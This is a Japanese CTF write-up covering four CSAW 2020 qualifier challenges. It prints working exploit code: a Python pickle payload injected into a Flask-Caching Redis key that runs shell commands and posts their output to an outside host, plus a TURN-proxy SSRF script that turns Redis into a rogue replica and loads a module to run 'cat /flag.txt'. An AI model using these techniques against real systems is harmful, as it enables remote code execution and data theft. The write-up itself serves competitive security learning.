9 月 12 日から 9 月 14 日にかけて開催された CSAW CTF Qualification Round 2020 に、チーム zer0pts として参加しました。最終的にチームで 3555 点を獲得し、順位は 5 点以上得点した 1214 チーム中 11 位でした。うち、私は 4 問を解いて 1050 点を入れました。
他のメンバーが書いた write-up はこちら。
以下、私の write-up です。
(URL)
与えられた URL にアクセスすると、普通の Web ページが表示されました。
Signup for my newsletter
というフォームがありますが、何を入力しても Whoops, couldn't add, sorry!
と言われてしまいます。
ソースを見てみても普通の HTML が返ってきているだけのように思えますが、HTML をコピーして適当なテキストエディタに貼り付けてみると </html>
の後ろに文字があることがわかります。どんな文字があるか確認しましょう。
$ python
>>> import requests
>>> req = requests.get('(省略)').text
>>> s = req[req.find('</html>')+len('</html>'):]
>>> set(s)
{'\u200f', '\u200d', '\u200b', '\u200c', '\u200e'}
\u200b
から \u200f
までの 5 種類の文字があるようです。それぞれ 0
から 4
に置換してみましょう。
>>> t = ''.join(str(ord(c) - 0x200b) for c in s)
>>> t
'0000343000012400003240000322000044000004310000302000024200003030000143000032300004420000244000040200003020000201000042100002210000124'
5 進数でしょうか。7 桁区切りで BCD のような感じで読んでみましょう。
>>> import re
>>> ''.join(chr(int(c, 5)) for c in re.findall(r'.{7}', t))
"b'YWxtMHN0XzJfM3o='"
なにか文字列が出てきました。これを Base64 デコードすると alm0st_2_3z
になります。これをフォームに入力すると /ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/<pwd>
と表示されました。
/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z
にアクセスするとまた同じような Web ページが出てきました。似たような処理をもう一度やってみます。
>>> req = requests.get('http://(省略)/ahsdiufghawuflkaekdhjfaldshjfvbalerhjwfvblasdnjfbldf/alm0st_2_3z').text
>>> s = re.findall(r'[\u200b-\u200f]', req)
>>> t = ''.join(str(ord(c) - 0x200b) for c in s)
>>> ''.join(chr(int(c, 5)) for c in re.findall(r'.{7}', t))
'755f756e6831645f6d33'
>>>
>>> import binascii
>>> binascii.unhexlify('755f756e6831645f6d33')
b'u_unh1d_m3'
フォームに u_unh1d_m3
と入力すると /19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/<pwd1>/<pwd2>
と出力されました。
/19s2uirdjsxbh1iwudgxnjxcbwaiquew3gdi/alm0st_2_3z/u_unh1d_m3
にアクセスするとフラグが得られました。
flag{gu3ss_u_f0und_m3}
One of your coworkers in the cloud security department sent you an urgent email, probably about some privacy concerns for your company.
ヒント 1: Presigning is always better than postsigning
ヒント 2: Isn’t one of the pieces you find a folder? Look for flag.txt!添付ファイル: letter
letter
は以下のような内容でした。
Hey Fellow Coworker,
Heard you were coming into the Sacramento office today. I have some sensitive information for you to read out about company stored at ad586b62e3b5921bd86fe2efa4919208 once you are settled in. Make sure you're a valid user!
Don't read it all yet since they might be watching. Be sure to read it once you are back in Columbus.
Act quickly! All of this stuff will disappear a week from 19:53:23 on September 9th 2020.
- Totally Loyal Coworker
情報はこれ以外には与えられておらず、ad586b62e3b5921bd86fe2efa4919208
ってなんやねんと悩んでいたところ、aventador さんがこれは AWS 関連のなにかではないかというアイデアを出していました。
なるほど、問題文の “One of your coworkers in the cloud security department sent you an urgent email” やヒントの用語などを見るとそれっぽい雰囲気があります。
いろいろ試していると、(ランダムな文字列).s3.amazonaws.com
にアクセスすると NoSuchBucket
というようなエラーメッセージが返ってくるのに対して、ad586b62e3b5921bd86fe2efa4919208.s3.amazonaws.com
にアクセスすると AccessDenied
というエラーメッセージが返ってくることに気づきました。ad586b62e3b5921bd86fe2efa4919208
は Amazon S3 のバケット名で間違いないでしょう。
AWS CLI の設定をしてから aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208
でどのようなファイルがあるか確認してみましょう。
$ aws s3 ls s3://ad586b62e3b5921bd86fe2efa4919208
PRE 06745a2d-18cd-477a-b045-481af29337c7/
PRE 23b699f9-bc97-4704-9013-305fce7c8360/
PRE 24f0f220-1c69-42e8-8c10-cc1d8b8d2a30/
PRE 286ef40f-cee0-4325-a65e-44d3e99b5498/
PRE 2967f8c2-4651-4710-bcfb-2f0f70ecea5c/
PRE 2b4bb8f9-559e-41ed-9f34-88b67e3021c2/
PRE 32ff8884-6eb9-4bc5-8108-0e84a761fe2c/
PRE 3a00dd08-541a-4c9f-b85e-ade6839aa4c0/
PRE 465d332a-dd23-459b-a475-26273b4de01c/
PRE 64c83ba4-8a37-4db8-b039-11d62d19a136/
PRE 6c748996-e05a-408a-8ed8-925bf01be752/
PRE 7092a3ec-8b3a-4f24-bdbd-23124af06a41/
PRE 84874ee9-cee1-4d6b-9d7a-24a9e4f470c8/
PRE 95e94188-4dd1-42d8-a627-b5a7ded71372/
PRE a50eb136-de5f-4bb6-94ef-e1ee89c26b05/
PRE b2896abb-92e7-4f76-9d8a-5df55b86cfd3/
PRE c05abd3c-444a-4dc3-9edc-bb22293e1e0f/
PRE c172e521-e50d-4e30-864b-f12d72f8bf7a/
PRE c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/
PRE ff4ad932-5828-496b-abdc-6281600309c6/
いっぱいフォルダがあります。aws s3 cp s3://ad586b62e3b5921bd86fe2efa4919208 ./output --recursive
を実行すると全てのファイルをダウンロードすることができました。
どのようなファイルがあるか確認します。
$ grep "" output/*/*/*
output/06745a2d-18cd-477a-b045-481af29337c7/398c4eb4-f081-4e8b-86ed-5a1e5ddb9de1/a7941336-d167-4855-b36c-208f47418704.txt:noezdntlakykwxzziydwxqyzddcjap
output/06745a2d-18cd-477a-b045-481af29337c7/398c4eb4-f081-4e8b-86ed-5a1e5ddb9de1/b0b92a9c-bcf0-4c2a-9e52-b0635c2915b9.txt:nxixpivfmkexnyreylqdkkxnpoavvs
output/06745a2d-18cd-477a-b045-481af29337c7/6bb1100f-9a7c-471e-a54d-e6edd33c2c1b/2a2f6364-f50c-4cdd-bfa5-fef7b28d6cda.txt:qhkvovdjxuueppwqqerbdvomfbtalw
output/06745a2d-18cd-477a-b045-481af29337c7/6bb1100f-9a7c-471e-a54d-e6edd33c2c1b/55a885b5-ad4f-44d5-9ba1-abaa1a6870d8.txt:nlduaqausjuxepoaomxpvbfxrlxpfy
output/06745a2d-18cd-477a-b045-481af29337c7/9ac3b19b-41db-42cf-a7b1-5c074407eaaf/4e0bbf0a-a2ac-40f0-84de-79612bba4c8c.txt:ejoixnpvtuvaqrasvngghfokoquuzo
...
output/ff4ad932-5828-496b-abdc-6281600309c6/4fa6601c-0cfb-40b4-b9ef-56ba0d315897/ce2cc60a-09e1-4a8d-b543-357fa7153c6b.txt:amyidqghgojfsmihwmqmfbxywwuxoi
output/ff4ad932-5828-496b-abdc-6281600309c6/7ce68465-dfd0-4538-b127-9fb0041291f5/6e7db85c-19a4-4b0e-85e9-6ba388aa1c25.txt:qiogeuymuabjeddblnxlbywerwfsto
output/ff4ad932-5828-496b-abdc-6281600309c6/7ce68465-dfd0-4538-b127-9fb0041291f5/a84d9b1c-e609-42b8-b12d-d44b1fc3cc18.txt:pjstjqidxtjgbzwvrspsmagxbreqcx
output/ff4ad932-5828-496b-abdc-6281600309c6/95af4394-b823-4507-be49-885f971f8836/5fed4838-9c2c-49a7-8903-21ead9df2acb.txt:hiupkyaydqfjmdtsutriuovvmdfgfd
output/ff4ad932-5828-496b-abdc-6281600309c6/95af4394-b823-4507-be49-885f971f8836/97e85c72-0733-45ab-9a97-3030355ad4be.txt:trhfjmlnaopwcmwvgbiecagfyaybao
ゴミファイルがいっぱいあります。この中からふるつきさんは以下の 4 つの有用そうなファイルを見つけていました。
output/3a00dd08-541a-4c9f-b85e-ade6839aa4c0/3fa52aaa-78ed-4261-8bcc-04fc0b817395/4bcd2707-48db-4c04-9ec7-df522de2ccd7.txt:s3://super-top-secret-dont-look
output/6c748996-e05a-408a-8ed8-925bf01be752/c1fe922c-aec8-4908-a97d-398029d39236/77010958-c8ed-4a7b-802a-f189d0f76ec0.txt:3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
output/7092a3ec-8b3a-4f24-bdbd-23124af06a41/7db7f9b0-ab6a-4605-9fc1-1cc8ba7877a1/1b56b43a-7525-429a-9777-02602b52dc1e.txt:.sorry/.for/.nothing/
output/c9bf9d72-8f62-4233-9cd6-1a0f8805b0af/acbad485-dd20-4295-99fa-f45e3d5bdb45/1eaddd5d-fe24-4deb-8e6e-5463f395fa03.txt:AKIAQHTF3NZUTQBCUQCK
super-top-secret-dont-look
は別のバケット名、AKIAQHTF3NZUTQBCUQCK
はアクセスキーだろうとのことでした。.sorry/.for/.nothing/
は flag.txt
の場所でしょう。
ヒントから、これらの情報を使って flag.txt
の署名付き URL を当てればよいと推測できます。署名付き URL がどのようなパラメータを持つか確認してみましょう。
$ aws s3 presign s3://super-top-secret-dont-look/test.txt --region us-east-2
https://super-top-secret-dont-look.s3.amazonaws.com/test.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA5PTYIEAS5AFN6PJQ%2F20200914%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200914T171119Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6d67968052aabdf36cd3e3a9d08974ec2faf4ba55484501ab96517ac68eff815
X-Amz-Signature
の文字数から 3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
はシグネチャであると推測できます。また、もう一度 letter
を読み直すと、
us-west-1
が使われている (ad586b62e3b5921bd86fe2efa4919208
)us-east-2
が使われている (super-top-secret-dont-look
)といったヒントに気づきます。
これらの情報をもとに http://super-top-secret-dont-look.s3.us-east-2.amazonaws.com/.sorry/.for/.nothing/flag.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAQHTF3NZUTQBCUQCK%2F20200909%2Fus-east-2%2Fs3%2Faws4_request&X-Amz-Date=20200909T195323Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b
にアクセスするとフラグが得られました。
flag{pwn3d_th3_buck3ts}
cache all the things (this is python3)
(URL)
添付ファイル: app.py
app.py
は以下のような内容でした。
#!/usr/bin/env python3
from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os
app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False
cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])
@app.route('/', methods=['GET', 'POST'])
def notes_post():
if request.method == 'GET':
return '''
<h4>Post a note</h4>
<form method=POST enctype=multipart/form-data>
<input name=title placeholder=title>
<input type=file name=content placeholder=content>
<input type=submit>
</form>
'''
print(request.form, flush=True)
print(request.files, flush=True)
title = request.form.get('title', default=None)
content = request.files.get('content', default=None)
if title is None or content is None:
return 'Missing fields', 400
content = content.stream.read()
if len(title) > 100 or len(content) > 256:
return 'Too long', 400
redis.setex(name=title, value=content, time=3) # Note will only live for max 30 seconds
return 'Thanks!'
# This caching stuff is cool! Lets make a bunch of cached functions.
@cache.cached(timeout=3)
def _test0():
return 'test'
@app.route('/test0')
def test0():
_test0()
return 'test'
...
@cache.cached(timeout=3)
def _test30():
return 'test'
@app.route('/test30')
def test30():
_test30()
return 'test'
if __name__ == "__main__":
app.run('0.0.0.0', 5000)
文字数制限はあるものの、好きなキーと値で Redis に書き込むことができるようです。また、Flask-Caching というものを使って _test0
から _test30
までの 31 個の関数を Redis にキャッシュしていることがわかります。実際にどのようにして Redis にキャッシュされているか確認しましょう。
まずキャッシュ用の Redis サーバを立ち上げておきます。
$ docker run --rm -d -p 6379:6379 redis:5
a24447710d839071a1a6be23a0634af434d670a12c4672261dd9a836ba870c0f
$ docker exec -it a2 redis-cli
127.0.0.1:6379>
pip install redis flask Flask-Caching
でライブラリをインストールしておき、app.py
中の CACHE_REDIS_HOST
を修正し、ついでに cache.cached
のタイムアウトを長めにしておきます。
app.py
を立ち上げて、/test0
にアクセスして _test0
をキャッシュさせましょう。Redis 側でどうなっているか確認します。
127.0.0.1:6379> keys *
1) "flask_cache_view//test0"
127.0.0.1:6379> get "flask_cache_view//test0"
"!\x80\x03X\x04\x00\x00\x00testq\x00."
flask_cache_view//test0
というキーに !\x80\x03X\x04\x00\x00\x00testq\x00.
というバイト列が格納されています。80
から始まるバイト列といえば Python の Pickle です。
ソースコードを確認すると b"!" + pickle.dumps(value)
と確かに Pickle が使われていることがわかりました。
ロード時のチェックもバイト列が !
から始まっているか見ているだけです。
Redis に書き込まれるキャッシュのキーは予測可能なもので、その値は Pickle でシリアライズされたオブジェクトであることがわかりました。ファイルのアップロード機能を使えば RCE できそうな雰囲気があります。
うまくデシリアライズされれば適当な URL を開くコードが実行されるような文字列を flask_cache_view//test1
に書き込み、/test1
にアクセスすることで Redis からその文字列を読み出させてデシリアライズさせるようなスクリプトを書きましょう。
import requests
import pickle
HOST = 'http://(省略)/'
payload = b"""c__builtin__\nexec\n(S'req = __import__("urllib.request").request; r = req.Request("https://(省略)"); req.urlopen(r)'\ntR."""
requests.post(HOST, data={
'title': 'flask_cache_view//test1'
}, files={
'content': ('payload', b'!' + payload, 'application/octet-stream')
})
req = requests.get(HOST + 'test1')
print(req.text)
これを実行すると、問題サーバから指定した URL へのアクセスが来ました。
payload
を c__builtin__\nexec\n(S'sp = __import__("subprocess"); req = __import__("urllib.request").request; r = req.Request("https://(省略)", sp.check_output("ls -la /", shell=True)); req.urlopen(r)'\ntR.
に変えて実行すると以下のようなデータが POST されました。
total 72
drwxr-xr-x 1 root root 4096 Sep 12 00:15 .
drwxr-xr-x 1 root root 4096 Sep 12 00:15 ..
-rwxr-xr-x 1 root root 0 Sep 12 00:15 .dockerenv
drwxr-xr-x 1 root root 4096 Aug 4 04:13 bin
drwxr-xr-x 5 root root 340 Sep 12 17:12 dev
drwxr-xr-x 1 root root 4096 Sep 12 00:15 etc
-r--r--r-- 1 root root 17 Sep 10 22:51 flag.txt
drwxr-xr-x 2 root root 4096 May 29 14:20 home
drwxr-xr-x 1 root root 4096 Aug 4 04:13 lib
drwxr-xr-x 5 root root 4096 May 29 14:20 media
drwxr-xr-x 2 root root 4096 May 29 14:20 mnt
drwxr-xr-x 1 root root 4096 Sep 10 23:04 opt
dr-xr-xr-x 531 root root 0 Sep 12 17:12 proc
drwx------ 1 root root 4096 Sep 10 23:04 root
drwxr-xr-x 1 root root 4096 Sep 10 23:04 run
drwxr-xr-x 1 root root 4096 Aug 4 04:13 sbin
drwxr-xr-x 2 root root 4096 May 29 14:20 srv
dr-xr-xr-x 13 root root 0 Sep 12 17:12 sys
drwxrwxrwt 1 root root 4096 Sep 13 00:05 tmp
drwxr-xr-x 1 root root 4096 Sep 10 23:04 usr
drwxr-xr-x 1 root root 4096 Aug 4 04:13 var
実行させる OS コマンドを cat /flag.txt
に変えるとフラグが得られました。
flag{f1@sK_10rD}
I started playing around with some fancy new Web 3.1 technologies! This RTC tech looks cool, but there’s a lot of setup to get it working… I hope it’s all secure.
(URL)
添付ファイル: Dockerfile, app.py, supervisord.conf
supervisord.conf
は以下のような内容でした。
[supervisord]
nodaemon=true
[program:gunicorn3]
command=gunicorn3 --workers=10 -b 0.0.0.0:5000 app:app
autorestart=true
user=www
[program:coturn]
command=turnserver
autorestart=true
user=www
[program:redis]
command=timeout 300s redis-server --bind 0.0.0.0
autorestart=true
user=www
Gunicorn、coturn、Redis を同じマシンで動かしているようです。
Dockerfile
は以下のような内容でした。
FROM ubuntu:18.04
RUN adduser --disabled-password --gecos '' www
RUN apt-get update && apt-get install -y coturn redis python3 python3-pip gunicorn3 supervisor
WORKDIR app
COPY requirements.txt .
RUN pip3 install -r requirements.txt
COPY flag.txt /
RUN chmod 444 /flag.txt
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN echo 'min-port=49000' >> /etc/turnserver.conf
RUN echo 'max-port=49100' >> /etc/turnserver.conf
COPY app.py .
COPY static static
EXPOSE 3478
EXPOSE 5000
CMD ["supervisord"]
フラグは /flag.txt
にあるようです。Gunicorn、coturn、Redis のいずれかで読むことができるのでしょう。また、3478 番ポート (coturn) と 5000 番ポートを公開しています。
TURN サーバである coturn が怪しいなあと思いつつもどう攻めればよいかわからず悩んでいたところ、aventador さんが #333419 TURN server allows TCP and UDP proxying to internal network, localhost and meta-data services という脆弱性のレポートを見つけていました。参考になりそうです。
まず staaldraad/turner を使って turner -server (省略):3478
を実行しておきます。curl -x http://localhost:8080 http://ifconf.co/ip
すると問題サーバの IP アドレスが表示されました。SSRF ができているようです。
いろいろ試していると、0.0.0.0:6379
にアクセスすることで Redis にも SSRF できることに気づきました。
$ curl -x http://localhost:8080 http://0.0.0.0:6379
-ERR wrong number of arguments for 'get' command
Redis での SSRF といえば CONFIG SET や SLAVEOF を使った攻撃です。とりあえず SLAVEOF
ができるか確認しましょう。
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8080))
sock.send("""CONNECT 0.0.0.0:6379 HTTP/1.1
Host: 0.0.0.0:6379
""".replace('\n', '\r\n').encode())
print(sock.recv(1024))
sock.send(b'slaveof (省略) 8001\r\n')
print(sock.recv(10240).decode())
time.sleep(5)
sock.send(b'slaveof no one\r\n')
print(sock.recv(10240).decode())
sock.send(b'quit\r\n')
print(sock.recv(10240).decode())
sock.close()
これを実行すると、SLAVEOF
で指定した IP アドレスに問題サーバから接続があり、PING
と送られてきました。SLAVEOF
が有効なようです。
SLAVEOF
による攻撃のためのツールに Dliv3/redis-rogue-server があります。これをダウンロードして python redis-rogue-server.py --server-only --lport 8001
で 8001 番ポートで攻撃用のサーバを立ち上げておきます。
攻撃用のスクリプトを書きます。
import socket
import time
def send(sock, cmd):
sock.send(cmd + b'\r\n')
print(sock.recv(10240))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 8080))
sock.send("""CONNECT 0.0.0.0:6379 HTTP/1.1
Host: 0.0.0.0:6379
""".replace('\n', '\r\n').encode())
print(sock.recv(1024))
send(sock, b'slaveof no one')
send(sock, b'config set dir /tmp/')
send(sock, b'config set dbfilename expppp.so')
send(sock, b'slaveof (省略) 8001')
time.sleep(5)
send(sock, b'module load /tmp/expppp.so')
send(sock, b'system.exec "cat /flag.txt"')
send(sock, b'slaveof no one')
send(sock, b'quit')
sock.close()
実行しましょう。
$ python3 a.py
b'HTTP/1.1 200 OK\r\nDate: Mon, 14 Sep 2020 18:02:20 GMT\r\nTransfer-Encoding: chunked\r\n\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'+OK\r\n'
b'$49\r\n0\n96\nflag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}\n\r\n'
b'+OK\r\n'
b'+OK\r\n'
フラグが得られました。
flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}